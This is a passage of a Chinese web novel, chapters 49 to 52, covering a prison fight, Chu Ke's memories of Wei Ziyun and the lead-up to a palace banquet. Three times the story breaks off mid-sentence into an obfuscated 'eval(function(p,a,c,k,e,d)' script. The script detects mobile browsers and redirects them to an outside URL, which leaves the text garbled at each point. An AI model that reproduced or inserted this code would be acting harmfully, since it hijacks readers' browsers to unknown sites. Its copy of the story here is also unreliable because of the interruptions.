宁展并非没有可堪匹敌的功夫，奈何铁索粗重，荆棘似的刺棱更是绕着利剑攀缠直上。剑刃锋锐，但受困须臾，便失了快速还手的威力。 三回五次，宁展发觉此人竟毫无闪避之意，像是咬定了他的长剑不敌铁索，企图借此耗尽他的精力，要与他斗个你死我活。 体格如何精壮，也是实打实的血肉之躯。 对方既不躲，宁展决心与之拼力一搏。他稳步撤剑，气沉丹田，凝通体之息，举刃刺其喉管！ 利刃依旧被袭来的铁链锁得几无用武之地。 宁展牢牢把住剑柄，与强力互不相让。他额角业已渗出细汗，险些任面前这尊立地金刚连同那铁索一并带向半空。 硬拼不是良策。 男子气粗劲强，器械霸道，正因如是，他本就吃重的块头还须坠上沉甸甸的铁索。这缠人的刺棱能锁住宁展的剑，亦能锁住他自己的看家本领。 听雪隐士本应行经无迹，如今另受禁锢，能为之活用的轻功，不及宁佳与平素同宁展打闹的半分火候。 倘规避锋芒，再偷师一二，能比其更近听雪之风！ 宁展霎时后撤，蹬犴门骤起，逼得束衣男子稍退两步。 他凌空少顷，脑海中不断掠过宁佳与绕手抽扇、蹿房越脊、闪身取袋、飞踢踩尸的种种。 荒郊客栈，城关窄巷，集市长街，寻芳楼前。 如此看，宁佳与貌似讳莫如深，却又向他袒露了不少。 宁展右手把剑，半身不动，双脚则后踩门栅，交替而上。眨眼工夫，他两腿越过头顶，面朝束衣男子，眼色挑衅，随即整个人蓦然前翻！ 剑身犹困铁链间不得动弹，剑柄已在宁展掌中迅速掉转。 宁展反手握柄，双脚稳稳落在对方左右两肩。 铁索缠绕长剑，剑柄朝上，利刃朝下，俨若扭转乾坤。 宁展站在这抓了瞎的男子肩头，只消就长剑捅下，利刃便要并着裹了满身的刺，将听雪阁的废物捅个肝胆俱烂！ “——等等！” 宁展循声望去，是那为虎作伥的白公子。 “剑下留人！”白歌左手高举，右手压剑，步子在犴门外刹住，不敢再前半寸，唯恐激怒宁展。 宁展两眼微眯，似在犹豫。孰料下一刻，长剑竟被他脚下的男子勒着刺棱铁链，生生拦腰折断。 尖端“当啷”砸地，余下的断刃连着剑柄，仍被宁展掐于虎口。 不待男子接续动作，他狠狠踩下两脚，借力下了肩，与对方拉开距离，站定白歌一臂之外。 束衣男子磨磨蹭蹭收起铁索，垂着脑袋摸鼻子，难为情地偷瞟白歌。 短暂沉寂，宁展依稀捕捉到利物擦过粗糙的尖锐。 宁展正好挡了白歌视线，缓缓提手，与颈齐平，五指在脸侧并作斜掌，由左上至右下，隔空抹脖。 白歌与宁展相去不远，但始终隔着一扇半掩半开的栅门。他显然也听见了细微动静，暗道不好，却是为时已晚。 宁展手起，以宁刀落。 “苍！”一声，长剑抽出，血柱迸散长廊。 宁展虚拳掩鼻，从容让道，形似在躲身后绽放的血花，实是给白公子将青竹阁“凶残成性”的做派看得更清楚些。 他推门而出，在白歌身边顿了会。 “节哀。” 说罢，宁展向以宁招招手掌，率先离去。 以宁甩下残血，收刃入鞘。他绕过白歌，肩头的卫子昀纹风不动，在他背上睡得格外安稳。 白歌切齿拊心，如鲠在喉。 虎体熊腰的大块头孤零零向后倒去，他终于全力奔入地牢，嘶吼回荡寺狱。 “——师兄！” 50. 香樟 以宁奉命敷好存尸药，再替卫子昀换上干净得体的敛衣，交由步溪城中的暗桩主事，将遗体连同雄狮刀一并送回嘉宁，封棺落葬。 宁展则熟门熟路寻至大理寺卿的文房，上回为他和宁佳与引路的司狱果然在此守夜。 “司狱大人。”宁展言笑如常，“一日不见，别来无恙。” 司狱眼尖，烟月朦胧，照样辨出是先前那位出手阔绰的大善人来了。 他乐不可支，拱手相迎，点头道：“哎哟，贵人呐！小的李兼，有事您说话！” “哦？”宁展被提起兴趣，笑靥更甚，“大人姓李？” “对，对。”李兼尚未拿准贵人言下之意，小心翼翼道，“不是什的稀罕姓。” “大人不必妄自菲薄。从前改朝换代是常态，李氏虽中道消乏，也煊赫一时。我瞧大人非愚夫俗子，”宁展拍了拍他的肩，“想来日后定能光复门楣。” 宁展嘴上说得有鼻子有眼，实则忐忑，不知自己是否点中了关键。 毕竟，关于曾经的步溪李氏，各州学博古通今的先生都得避而不谈，而宁展仅仅是在外祖母祭拜旧友时见过李氏的牌位。 昔年，七州尚未开国，境内便有久负百年盛名的四大世族。 汴亭元氏，世代书香。 风流才子、咏雪佳人辈出，且个个清风峻节，誓死不入仕途，不谋权柄，只弄月吟风，雅俗共赏。故景以承起初乍闻宁展自报家门，当然缠上他不愿撒手。 墨川王太后元叶，正是元氏如今的当家人。 永清江氏，轻财重义。 白手起家，凭一己之力打通多条互市之道，商号遍布七州，生意蒸蒸日上。祖辈乐善好施，不仅独掏腰包为永清修桥补路，更是大手一挥揽了琅遇几十年行军打仗的粮草。 墨川韩氏，骁勇善战。 单论百年将门、无往不胜这两处，能保韩氏数代拜相封侯，富及九族。彼时，族中上有定国大将军，下有陪戎副尉，后又出一位纬武经文的探花郎，驰名当世。 可叹福无双至，自江、韩两家喜结连理，先逢两州大战，后遇宁朝衰落、鼎新革故。时至今日，两家盛名尽已不再，子孙销声匿迹。 四大世族，唯步溪李氏动静全无，平白任后人抹去了所有痕迹，俨如从未驶过水势湍急的旧史长河。 不论何如，老辈口中的元、江、韩、李乃是从前名副其实的乌衣门第，是墨川目前那些滥竽充数者望尘莫及的存在。 作为李氏后裔旁支，李兼知之甚少，却没少因着这个没得选的姓氏惹祸招灾。 好在他发奋有为，进了步溪大理寺当差。寺卿夫人恰是李氏旧交，李兼为人谦逊，且颇会来事，寺卿便收他作学生。 日前李兼好心办坏事，给宁展二人点了下边人孝敬恩师的熏香。谁料，他与同僚闲话得知那香来头不小，竟是闺房行乐所用的助兴香！ 寺卿隔天于文房拜别宁展，瞧着那炉子残香，不明所以。 李兼给恩师垂肩又捏腿，随口搪塞了去。也亏得大善人没四处告他的状，否则...... “嘿，小的承您吉言！” 李兼原就心怀感念，又添这一席美言，恨不能上街多置办些好香再给宁展点上。 “贵人今日有何吩咐？是要用文房？” “李大人好眼力，确实如此。”宁展说着便开始摸自个儿袖袋，“只是在下有一问......” 宁展话音未落，李兼边为他开锁边道：“我见识短，但您若不嫌，只管问！” “鄙人听闻，李家约莫在两州大战以后方才走了下坡路。” 宁展状似思索，手头拎出了小袋碎银，递与李兼。 “李大人可记得那位早逝的当家人唤作何名，现在何处？” 李兼挂锁回身，迎面对上那坠袋的碎银，愣是吓得没敢接。 他委实不敢想自己撞的哪门子大运——这是什么贵人？简直是财神爷！短短两天，赏了他半年都赚不够的数。 倘宁展勤来几回，他一介捞不着油水的小官，怕是连媳妇本都要攒足了。 但李兼今岁不过二十有三，亦是李氏没落之后那一辈，小道消息未必能比身为青竹掌阁的宁展灵通。 “据说，那时的当家人似是位天赋异禀的姑娘？旁的就......” “不妨事，在下随口一问。李大人，”宁展直接把钱袋子搁李兼手里，笑道，“不用放在心上。” 拿人钱财，替人办事。不看事成与否，既给了报酬，就得拿，对方这才能安心放他走，这是恩师教的道理。李兼揣起钱袋，麻溜退下。 宁展定定望着雨夜遮去李兼的官袍，径自往寺牢去。 自始至终，他意不在文房。 李兼，本应在此行的算计内，宁展却忽然改了主意。他想保下这位李氏后人，因此心血来潮改了口，并未告之李兼“有何吩咐”。 他想看世家光复门楣，看望族各展千秋，看家业再生、兵强将勇、国士无双。 如卫子昀所书，宁展要时和岁稔、盛世承平。他的山河光景，缺的是这些势均力敌的颜色，而非同流合污之蠢材。 嘉宁世子的宏图里，也绘着宁展自己的私心。 他想纪念一个人，令此人得以魂归千金之躯，泉下安眠。 - 托宁佳与的福，宁展偷师听雪，颇有新得。他三两下绕了大狱值守的后，赏完几位一人一劈，搜出锁匙，开了大门。 夜近子时，小偷小摸关进来的拘囚自知事小，早瘫在板床上打鼾。 宁展缓步潜入，响动极轻。 楚珂扒了许久围栏，闻声双目不住放光。 宁展远见一颗卡着脖颈使劲往外探的头，行至长廊最深处，终于看清楚珂眼里的红、眉心的暗，及其先前从未流露在外的恐惧。 “少君、少君......” 楚珂极力抻手去够那腰牌，却被宁展侧身避过。素白轻衫从手里堪堪滑走，她不肯放弃，依然空悬两臂。 “少君，你会救他的，对不对？对不对？” 宁展并不回应，只站着一把一把试那串锁匙。 其实他大可出脚踹开此门，或是拔剑砍烂挂锁，但步千弈若真有脸问他要人，他还得搬出大理寺玩忽职守的由头，而非谁来劫狱这样明着决裂两州的说法。 “他们......” 楚珂泪如雨落，顾不上抹脸，心在宁展的沉默里发颤。 “他们......到底要给卫子昀判什么罪？卫子昀会去哪里？少君，您是不是要......要裁汰他了？” 咔嗒。 挂锁卸下，楚珂来不及起身，跪地膝行扑去。她本欲将那腰牌稳在掌心，看个仔细，不意伸手一抓，竟整块儿带了下来。 “少、少君......”楚珂手足无措，捧着玉牌要还与宁展，“我不是有意！” 宁展仍侧身躲开，仿佛那是件不详之物。 “你不是早盯上这东西了吗。”他望向高墙窄窗，外边雷雨不减，“现下到手了，为何又不肯收。” 楚珂听得出，宁展对她的不满，不亚于她对宁展的成见。 她膝骨压着凹凸不平的砖，与宁展隔开半臂，双手托起腰牌，低头道：“请少君，救卫子昀一命......” “你以为这是什么。” 宁展背身而立，声气低缓，令人听不出喜怒。 “本君把它送给你，你去向墨川大家、向步溪微王求卫子昀的命，看他们瞧不瞧这东西一眼。” “我......”楚珂话音愈来愈浅，像是被人摁入泥塘的呜咽，“民女无能。” “无能？”宁展稍稍侧首，好像看不见楚珂的狼狈，“无能你在这牢里装什么人精。你觉得混过了大理寺审讯，就高枕无忧了？你当自己很聪明？” 宁展面对着眼前的楚珂，骂的却是曾经的自己。 彼时，他尚与初至步溪集镇的楚珂一般年纪。比之他欲盖弥彰扯下的谎，楚珂胡言乱道的供词不过如是。 楚珂未抬头就急着坦白：“他说！他说，把那些世家子的腌臢，还有我与他的关联瞒下来，我才能无事！他说......若是我也被墨川盯上，主家便不会救他了——” “他说，他说！”宁展猛然回身，拂袖道：“那他当初让你走，你为何不走？” 宁展按捺不下，幸而周遭四室皆空。 “少君！”楚珂忙不迭挪动膝盖，递上腰牌，颤声道：“你能救卫子昀的，对不对？他一直说主家待他——” “他走了。”宁展目不转睛地盯着腰牌，打断道。 “真的！”楚珂不敢想卫子昀的归宿，却不禁期待，“去哪里了？” “没了，死了，入土了。”宁展兀自抽回腰牌，“满意吗？” 死了？ 那个顶天立地、无所不能及的卫子昀，死了？ 楚珂两臂犹然高举，宛如盛满她希冀的牌子还在手里。 窄窗外豪雨打叶。 簌簌、簌簌...... 她被飞速带回浑身湿透的落汤蟹面前。 - “卫子昀！你又在搞怂过（做什么）啊！” 楚珂在家里饿得肚子乱叫。 她原以为突如其来的雷雨把卫子昀困在哪处，人一时半刻赶不回来。然卫子昀不仅把自己淋成了打横挪移的落汤蟹，还拖回来一株沾泥带水的“参天大树”。 若这树立起来，种进土里，至多能比卫子昀高上几个头。故而，是之于小鸟儿的参天大树。 什的银喉长尾雀，楚珂未曾提起，卫子昀也不甚清楚。他只知道，自己悉心喂养了将近五年的鸟儿，现今仍是小矮子一个。 他日复一日给楚珂滋补膳食，好容易补出来几两肉，全长脸上了。 到头来，楚珂胃口是大了，脸是圆了，眼睛也炯炯有神，但一双手脚照样近似卫子昀单手即可折断的细竿。 卫子昀将香樟树搁置在小院檐下，又照着楚珂化形后的身段对香樟丈量了好几回，这才心满意足掸着雨水进屋，带上门。 楚珂追在卫子昀身后，一着急就爱蹦些卫子昀听不懂的鸟语。 “卫子昀，你就教我烧饭能抹样（怎样）啊，天天正暂子（这么晚），我——” 卫子昀蹲在盆边擦汗洗脸，没看楚珂，直截道：“说人话。” 楚珂几步蹿到卫子昀对面，两手叉腰。 “教我烧饭！” 卫子昀抬起埋进粗布的脸，看看楚珂，再瞟向灶台，不禁乐出声：“你还不及那铁锅摆得高，连里头放的什么东西都瞧不见，烧哪门子饭？” 不待楚珂发作，他从怀里掏出两堆香喷喷的油纸，在楚珂眼前挥了挥。 一见那焦黄的油纸，楚珂便不由咽口水，即使饿得两眼发昏，亦然手脚并用，跳起来抢。 楚珂也不明白，为何卫子昀自己淋成那般德行，却总能把两堆油纸护得完整——管他了，这可是玉米饼！比鸡鸭牛羊，滋味不知美多少！ 是挂上钩子，就能吊着小鸟儿连追三四里都不带歇气儿的玉米饼。 他今日进城复命，料想无暇生火做饭，于是路上买了两袋子将出炉的饼。卫子昀了解楚珂最馋这个，可惜这会子拿在手里，不怎么热乎了。 楚珂倒是一如既往，捧着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14679256|156870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饼吃得香，不多时就沾了满嘴油花。 她心情大好，以致卫子昀没费多少口舌，便说服楚珂应了让他扩高屋子、且把外头那树移到家里的荒唐事。 实则，楚珂压根没仔细听这两件事，左耳进了右耳出。 向来勤勉的卫子昀隔天早晨连地也不下，扛起劈好的木头说干就干。 楚珂在院儿里荡了半天躺椅，权当后头叮叮当当的声儿又是卫子昀在瞎鼓捣。直至她跑回屋内，头顶的脊檩高得吓人，脚下更是踩着新添的木板地，方回过神。 而卫子昀，正胸有成竹地给那香樟树压土。 “卫、子、昀。”楚珂骤指俨然顶天的香樟，“好端端的，到底为什么要在家里种树？！” “这可不是一般的树。”卫子昀未回应她的目光，只不厌其烦打磨着香樟四周的木板。 楚珂没法理解他的心血来潮，便拿腔拿调扭脑袋，把卫子昀那句故作玄虚的答复学得古怪：“咦哟，介可不系一般滴素。” 卫子昀看惯了楚珂这模样，非但不同她吵嘴，还咧开嘴笑。 他满意地拍去手上尘土，随即猛不丁把住楚珂臂膀，将人高高举起，与树顶几乎齐平，炫耀道：“我们小鸟儿的游园地，完工！” 楚珂这才见着香樟上别出心裁的一番景致。 枝叶扶疏，沉香扑鼻。 桠杈纵横交贯，刻着数层短阶。 上了木梯，便是一座座吊楼，玲珑小巧。 假使楼中背光，另有四面迎风的软巢，惬意休息。 往下打滚，又能窝在绵弹的睡袋里摇秋千...... 对巴掌大小的银喉长尾雀而言，这方天地岂止游园而已？简直是瑶池阆苑，人间天堂！ 楚珂被卫子昀举得两肩耸起，目瞪口呆。 “这里......”她愣眼转头，惊得忘了让卫子昀先把自己放回地上，“是我的？” “当然。” 卫子昀点头，再托着楚珂围绕香樟转两圈。 “算算日子，你要长翎羽了，指不定翅膀发痒又飞到何处历险，不如在家里给你造个好玩儿的。如何，满意吗？” “满意！满意！”楚珂是心直口快的小孩，肯说满意，定就是百般喜爱。她挥着手，在空中比划，“但是，镇上哪有这——么大的树啊？” 步溪集镇，确实没几棵诸如这般光冒叶子、不结好果的大树。 卫子昀放她站稳，如是说：“自然没有，是我在江边捡的。这阵子狂风大雨，把树从哪里带了过来罢。” “它越长越高怎么办。”楚珂仰头看香樟，“总不能年年往上盖房子啊？” “那便让它长出去。若是长不出去......”卫子昀挠了挠下巴，思索道，“我就帮它一把，在房顶上开个洞。” “笨不笨！”楚珂当即推翻卫子昀又一个荒唐念头，“就是落雨淹不死我们，入冬了也得冻死！” 卫子昀乐道：“那你说说？” “哥哥才知道问我？种树之前怎的不问！”楚珂装模作样要打人，“到那时再说！反正现在漂漂亮亮的。” “好。那除了玩儿，”卫子昀俯身检查木板，“可还有想要的？” “玉米饼！”楚珂舔着唇角，似是意犹未尽。 卫子昀无声一笑，思忖道：“不若......我教你念书？” “呸呸呸！”楚珂猛往墙边退，作势要够头顶挂的雄狮刀，“你剪我毛，还要逼我认字！” “哪儿是逼你。”卫子昀利落起身，将楚珂带离挂刀，“多认几个字又不吃亏，日后跟人打交道也便宜。” “有你这大官腔在，还要我道什么写什么。再者说，”楚珂挣开卫子昀，望向院中整整齐齐的农具，“哥哥有书？” “跟人家借呗。实在不想学，”卫子昀道，“依你就是。” 卫子昀什么都能依着楚珂，唯独再次拎起雄狮刀那日，他定要去酒家，亲手宰了那群把人当野物猎杀的杂碎。 任楚珂百般阻拦，无视其反抗的气力对他就像拂去硬撑的蚂蚁。 卫子昀一去不回，待官府的人找上门来，家中恰是楚珂受审时所述的“囚禁、控制”之景。 楚珂被牢牢捆在榻上，脸上新泪叠旧痕，哭得神志不清，再不能够挣扎，思绪却试图将卫子昀临行前对她嘱咐的供词埋入土里。 她不想记起，奈何耳边时时回荡着最后的回音。 “我也许会死，但你要自由。” - “哥哥，你这个人，分明就是软心肠，何必总装作拒人于千里之外的意思？”楚珂初来乍到，小心翼翼，替卫子昀抹着他不肯用的药。 “不狠心些。”卫子昀擦着雄狮刀，不看楚珂，“如何能成大事。” - 心狠，就把她捆在那顶天的香樟旁，让她眼睁睁见朝夕相处的人去送死，让她乏力地望着屋顶，以泪洗面。 若自由非得卫子昀以命相抵，她宁可不要。 石砖刺骨，楚珂怔怔道：“少君，他临终前，可曾留下遗言？” 遗言中，是否提及过去的七年，或是那意料之外的......她不敢往下问。 “里面没有你。”宁展不假思索道。 楚珂闻言扭头，背后的残翼抖然扑开，稀羽零落。一身染血的彩绸随着她抽噎，却是再破烂不堪，也流不出更多泪了。 果真是个心狠的傻子。 “你走罢，趁夜。”宁展问完自己耿耿于怀之事后抛下一锭银，头也不回，踏出囚室，“活着，去哪里都好。” 步溪城雨过天青，先前惊散的堂前燕洗髓伐毛，迎曦玉重光，一路向北。 51. 腻甜 清晨，步溪境内鼓乐齐鸣。 金銮殿上再度跪倒一片，这回是文臣武将不分你我的喜悦。 百官如何料想，先前骂名满身的嘉宁凶犯能够出面指斥墨川，更不惜以死明志！ 步溪朝臣长年夹在百姓与外州间进退两难，即使发自内心厌恶诸如墨川大家那般的败类，要谨遵上意，就得端着虚怀若谷的架子。 如今农夫斗杀案圆满审结，算是嘉宁挺身而出的一大义举。此等敦睦邦交之事，不日便会传遍七州。而步溪上下终于看到些许改变旧态的希望，届时再不必忍气吞声做老实疙瘩了。 新律昭布，不仅是步溪王室精神振奋的喻示，亦是王城能够对七州敞开门户的好兆头。 武将不善言辞，便俯身贴地，久叩不起。文臣大喜过望，执笏板膜拜微王英明。 “欸，此事是千弈办得好、主意拿得好。”步长微在座上摆开手，朗声笑道。 百官闻言越发情难自已，心中对步千弈崇敬更甚，武将亦然举手加额，再拜世子睿见。 与众卿寒暄家常是步长微二十年如一日的习惯，奈何眼下有更紧要的事情等着他，只好提早散朝，预备用膳。 步千弈落座不多时，周连引手带起帘子，虚搀步长微进了偏殿。 步长微笑呵呵挨着儿子坐下，周连端住拂尘向步千弈叩礼。步千弈睨了周连一眼，没搭理，任其跪在堂前。 步千弈正欲起身，被步长微“欸”一声按了下来，于是正身作揖，道：“儿臣给父王请安。” 步长微不急应他，自顾捏起一块儿软糕，趁隙塞进了步千弈嘴里，方道：“臭小子！几个月不见人，一回来就要跟为父疏远。” “二......”步千弈无奈咬断半块软糕，余下的放回自己碗里，“儿臣没有。” 步长微屏退左右，只留父子二人与周连同在殿内，想跟儿子说些体己话。孰料步千弈总是离家一久便不爱讲人情，未待他开口，步千弈又将话茬扯到公务上。 “父王，楚氏女失踪了。”步千弈拿起宫娥原先布下的食具，为步长微盛豆粥。 “怎会如此？！”步长微愕然，接过豆粥时则不禁破颜为笑。 “看样子，是抢了值守的锁匙。”步千弈品着今岁的永清龙井，“自己跑的。” “唉......还是小孩子心性。此事不好勉强，”步长微搅动玉勺，摇了摇头，“随她去罢。但愿路上平安。” 步千弈颔首称是，捏软糕入口，草草吞咽。糕体的糖粉抵在喉间，不上不下，一时堵得他闷咳。 步长微赶紧放了勺，边给步千弈抚背，边吩咐周连起身给世子斟茶。 周连没费时去扶隐隐作痛的膝骨，麻利为步千弈添了茶水，继而躬腰退至步长微身后。 “父王。”步千弈避开步长微的动作，“儿臣不是年幼小童了。” “那你吃得这般猴急作甚？”步长微怪道，像是替自家小儿向不知轻重的步溪世子讨说法，末了话锋一转：“千弈，你也知自己到了年岁，何时......” “父王。”步千弈当即打断，“儿臣身负重任，现下并无婚娶的想法。” 步长微不受他这套托辞，喝了粥便说：“依为父看，那位雨......雨姑娘？就很不错。气度非凡，卓荦不羁，正是步溪世子妃的——” “父王当真如此中意雨妹妹？”步千弈道。 “这能有假？听白歌说......” 碗里的粥去了一半，步长微顺手取来周连备在旁侧的清茶漱口。 “你同那姑娘还是竹马之交？多妙的缘分啊。” 白歌确为步千弈的第二张嘴，但他不是如此自作主张之人。 步千弈不动声色地瞥垂首恭立的周连，后浮夸拍去沾于指尖的糖粉。周连立刻递上巾帕，步千弈照旧不接，把人晾着。 “若不然，为父做东，在宫里摆道午宴，将那姑娘请来问问。”步长微拿了那巾帕擦嘴，紧着添补：“对了，还有展凌君。上回弄得急三火四，实在怠慢了些。周连，笔墨。” - 以宁手按剑柄，快步进屋。 宁展彻夜未眠，就在雕梁画栋的殿里，看门外风吹云散、日月更迭，手边的梅子汤亦然枯坐。 “公子。”以宁揖手通禀，“外头是些赶往王宫瞻拜的百姓，并无其他异样。” 宁展略显疲惫，定定听着高门外欢声如雷，好半晌才问：“瞻拜？” “是。手上提着鲜果和糕点，说是，”以宁顿了顿，“拜神。” 宁展不禁嗤笑。 他转视那盏平静的梅子汤，失了冰点缀，甜汤俨如一滩乌七八糟的潲水，不仅越发难以下咽，且被热气蒸腾的仲夏烤得酸臭冲鼻。最后，兴许就是任人泼洒街边的命，浇花灌地都没份。 拜神？ 卫子昀未必能得几日感念，坐收渔利的步千弈却是众望攸归。进城至今，步溪真是让他长了不少见识。 “宁佳与呢？”说罢，宁展忽觉喉间沙哑，端起梅子汤昂首饮尽。 “辰初一刻。”以宁回头望穿云洒下的曦光，“与姑娘没起罢。” 宁展垂首蹙额，将腻得糊嗓子的甜水尽数咽了，唇齿间仍有股挥之不去的蜜味频频歪缠，令人牙痒舌燥。 他发现，自己真没那么爱喝梅子汤。 “柳氏可起了？若起了，劳驾她去宁佳与房中看看。”宁展不容置疑道，潜词是宁佳与没醒也得把她叫醒。 昨夜宁展执意孤身前去大理寺，宁佳与外出归来后便与柳如殷各自歇在内院偏房。直到以宁完事进院，宁佳与房中的灯仍依稀未灭。 “柳姑娘素来少眠，已经起了。” 以宁心下反复确认自己听到的是“宁佳与”而非“小与姑娘”。 他跟了宁展这么些年，摸不准用意的时候屈指可数，这会儿却要试探：“不过，柳姑娘兴许正在东厨——” 不待他探完，宁展视线斜来。以宁颔首收声，去了东厨。 为着案子，宁佳与接连数日不得安眠。好容易 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她平日不爱梳妆，然顶着比鸟窝还不如的脑袋，不得不老实坐在镜台前，挑出木拢子，耐着性子顺长发。 管事耳聪目明，随时待命内院。乍闻偏房有声，他应时差人打好清水、备上刨花。宁佳与将将坐下，房中一下子涌进许多使女。 可宁佳与散诞了十年，哪里接得住这阵仗？ 若在听雪阁，她还能由着师父收拾个鬓齐钗楚的模样。 但凡自个儿外出任事，则以布带归拢长发，任青丝荡在腰后，两颊碎发肆意舞。到了嘉宁，再辅以黄泥，弄她个灰头土脸的邋遢相。 这才是宁佳与。 柳如殷隐约觉出宁佳与僵于台前的抗拒，便接过使女端的铜盆，示意众人退避。她在东厨净了手，还不放心，就着盆里的清水重新洗过。 使女走干净了，宁佳与捏起木拢子和长发缠斗。柳如殷笑得无奈，她伸手要那拢子，宁佳与泄气般递上。 “傻妹妹，你这本就扭得难舍难分，哪能再使密齿与之撕咬呢？”柳如殷将拢子放回妆奁，取出玉梳，举给镜中的宁佳与看，“这个好，齿子宽，且能疏通脉络，松弛头皮。” 她一面说一面整理，最终问了宁佳与的喜好，以系带高束长发。 玉梳果有奇效，宁佳与舒眉展眼，铜镜也绽开夏花。 “还是柳姐姐见多识广。” 52. 私宴 系带自上垂落，与长发红黑重叠，遮掩颈间，雪白若现。 宁佳与背映朝晖入室，后知后觉，这里没有早饭，只赫然镇着尊面露凶相的塑像。 她回身寻人，即见以宁带上门扉，柳如殷歉疚的神情随门缝逐渐紧缩。 宁佳与登时了然那愧疚从何而来，也不同宁展客气，掀了袍子跨腿就坐，一副不好惹的混子架势。 “不知公子有何要事，非扰人清梦不可。” 宁展靠着雕椅，直接道：“先前问的准话，想必与姑娘心里已有定数。” “不曾。元公子问了，”宁佳与垂眸搅弄发丝，懒散道，“在下便要答吗。” “与姑娘以为，如若不答，这事就安然揭过了？”宁展似笑非笑，“人心里一旦有了掂量利弊的秤，久无定数，两端便会此起彼伏，无休无止。你视而不见，它也不会平衡。” 宁佳与不以为然，看向宁展。 “我偏要它平衡呢？” “无论是小商小贩的案秤，还是权门贵戚的交易，总有不公。与姑娘的设想很大胆，但在人心涣散的七州，”宁展径直回视，“恐怕没可能。” 宁佳与沉吟，将束带与长发撩至身后。 从前她惹了乱子，要被师父当众教训，有一招，好使得很。她闭嘴听训，师父罚也舍不得下狠手，时辰到了，她又是拍拍屁股上桌吃饭的好汉。 虽略失颜面，但屡试不爽。 然而宁展并不打算做她大发慈悲的师父，未待宁佳与施招，毫无顾忌般道：“我杀了听雪阁的人。” 宁佳与猛地抬头。 她紧紧盯着宁展，试图分辨那人摊出的牌，究竟是激将法，还是认罪书。 “就在昨晚。他是个......”宁展全然不避宁佳与的审视，甚至越发坚定，“力可拔山的大块头。不如步千弈高，却比化形之前的狼壮多了。” 大块头！ 宁佳与瞬间坠回昏沉的梦。 那里有听雪阁众人的大师兄，是热烈欢迎宁佳与的熊霆。 师父口中的熊崽。 宁佳与攥住雕椅靠手，气息如常，身子则不由颤抖。 “为什么。” “为什么？为什么......”宁展耐人寻味地重复着，平和道：“因为步千弈给自戕的卫子昀递刀。因为听雪阁假公济私。因为那群人和墨川一样，要我不声不响命丧步溪。这些理由，够不够？” 宁展所言，宁佳与并非一无所知。 她是明知故问不错，仿佛这样就会得出令她更能够接受的答案。 可泪珠夺眶，视野迷离，她看见天旋地转。 熊霆将七岁的小姑娘高高抛起，又稳稳兜住。 转眼，另有戒鞭劈来，师父大斥熊霆纵容，而功夫与日俱进的姑娘只管撒开腿逃。 宁佳与凝望宁展的目光，动过杀心、刺探，生过同情、感念，如今破天荒含着怨。 她没法轻易接受。 “不够吗？” 宁佳与的反应尽在宁展预料之中，但此际亲眼所见，他不得不认自己莫名多了恻隐之心。宁展捏住腰间的茄袋，借此保持冷静。 “因为你我皆是局中人，要紧的不是棋往哪处下，而是到了该走出一步的时候。我有躲不完的刀，你有逃不脱的命。既入暗阁，与姑娘当真可以在群雄逐鹿的地界全身而退吗？” 宁佳与拂去下巴挂的泪滴，转身要走。 “李主事年事已高，她未必保得住你！”宁展绷紧左拳，放声道。 宁佳与赫然回首，缓缓道：“你想做什么？” “我没想杀她。”宁展松了拳头，“但与姑娘曾经想杀我，若非李主事指使，大抵便是有人用我的生死与你谈生意。如此，你不妨同我谈，命在我自己手上，买卖划算，宁某不会舍不得死。” “我说了。这步棋，”宁佳与扭过头，背对宁展，“我不走。” 关于宁元祯和步千弈，青竹和听雪，师父和...... 宁佳与从来都难以抉择。 “你不走，有人替你走。”宁展将茄袋抚平，坠回腰间，“世间道法，安能两全？” 宁展其实说对了，宁佳与不走，定有人替她走。从前是父母，后来是师父。 长辈的抉择固然有理，却都不是宁佳与情愿面向的结局。 “展凌君的命，不在自己手里。”宁佳与侧目，道：“给我一个选择你的理由。” 宁展生于四处受敌的王室，东海扬尘，待来日触及大宝，那条命更不容他自己作主，遑论今时。 宁展和宁佳与之间，或隔着千里云雾山，剑戟森森；或又能知己知彼，料敌制胜。因而两人做不成纯粹的挚友，也免不掉那份心照不宣的默契。 变幻的欲望将他们不断拉近，未知的局势亦在催人疏离。 “七州境内，青竹阁会为与姑娘找到任何你想要的东西。”宁展复归从容，“抑或是人。” “展凌君开口便是这般丰厚的酬劳。”白日越过门扉，宁佳与容颜模糊，“所求之事，非常人能办罢。” “若是寻常人，也拿不稳我给的重酬。” 未免落人口实，青竹阁以外，宁展极少用银子办事。李兼是唯一一个收了他好处且保住脑袋的人。 “但此事对与姑娘而言，好办。” “展凌君请讲。”宁佳与耳力不比白歌，却隐约在这一方庭院内听到了他那匹快马的嘶鸣。 宁展亦有所察，遂不慌不忙站起身，弥望殿门，道：“我要见李主——” 嘭！ 门扉大敞。 以宁与白歌拔剑对峙，白歌踹门的右腿将将放下。 “白公子。”宁展款步上前挡住以宁，沉着道，“有何贵干？” 白歌退剑归鞘，递呈帖子，脸上的火气尚未散去。 “微王陛下亲笔。请展凌君、承仁君共赴午宴。”他瞟向宁佳与，不悦道：“还有你。” 景以承对诸多矛盾一知半解，闻讯喜不自禁。 他十分意外，步长微会带自己这个小州少君玩儿。较之宁展，他一无功绩，二无威望，更没有宁佳与和步千弈这层旧识关系在，此番与两位大州少君同席步溪宫宴，委实给景安挣足了面子！ 届时荣归故里，想来没谁能指着他骂“阔佬儿”“扫把星”了。 乘舆平稳行进，宁佳与一路垂首，脑海中充斥着两种互相反驳的声音。落车时，连荷包的含桃掉了几粒也未曾发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 